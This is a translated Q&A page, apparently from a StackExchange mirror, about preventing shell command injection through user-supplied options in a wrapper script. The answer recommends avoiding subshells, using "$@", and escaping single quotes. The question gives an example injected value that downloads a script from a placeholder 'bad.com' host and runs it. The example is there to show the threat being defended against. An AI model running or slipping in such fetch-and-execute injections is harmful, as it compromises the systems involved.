Vic*_*sky 13 shell security bash quoting arguments
我有一个包装应用程序,我需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。实现这一目标的最佳方法是什么?
例如。
-a -b
mysim --preset_opt -a -b
但是,我不希望这种情况发生:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
目前,我认为我可以简单地用单引号将每个用户提供的选项括起来'
并去掉任何用户提供的单引号,这样最后一个示例中的命令就会变成无害的:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
注意:该mysim
命令作为 docker/lxc 容器中的 shell 脚本的一部分执行。我正在运行 Ubuntu。
如果您可以控制包装程序,请确保它不会调用子shell。在深处,执行程序的指令由可执行文件的完整路径(绝对或相对于当前目录)和要作为参数传递的字符串列表组成。PATH 查找、空格分隔参数、引用和控制运算符都由 shell 提供。没有壳,没有痛苦。
例如,对于 Perl 包装器,使用exec
or的列表形式system
。在许多语言中,调用exec
或execXXX
函数之一(或unix.exec
调用任何函数),而不是调用system
、 或os.spawn
withshell=False
或任何需要的函数。
如果包装器是 shell 脚本,则用于"$@"
传递参数,例如
#!/bin/sh
mysim -preset-opt "$@"
Run Code Online (Sandbox Code Playgroud)
如果您别无选择并且包装程序调用了一个 shell,则您需要在将参数传递给 shell 之前引用它们。引用参数的简单方法是执行以下操作:
'
(单引号)替换为四字符字符串'\''
。(例如don't
变成don'\''t
)'
在每个参数的开头和每个参数的末尾。(例如从don't
,don'\''t
变成'don'\''t'
)如果您需要在 shell 包装器中执行此操作,这是一种方法。
arguments='-preset-opt'
for x; do
arguments="$arguments '"
while case $x in
*\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
*) false;; esac
do :; done
arguments="$arguments$x'"
done
Run Code Online (Sandbox Code Playgroud)
(不幸的是,${VAR//PATTERN/REPLACEMENT}
这里应该派上用场的bash构造需要古怪的引用,我认为您无法获得'\''
作为替换文本。)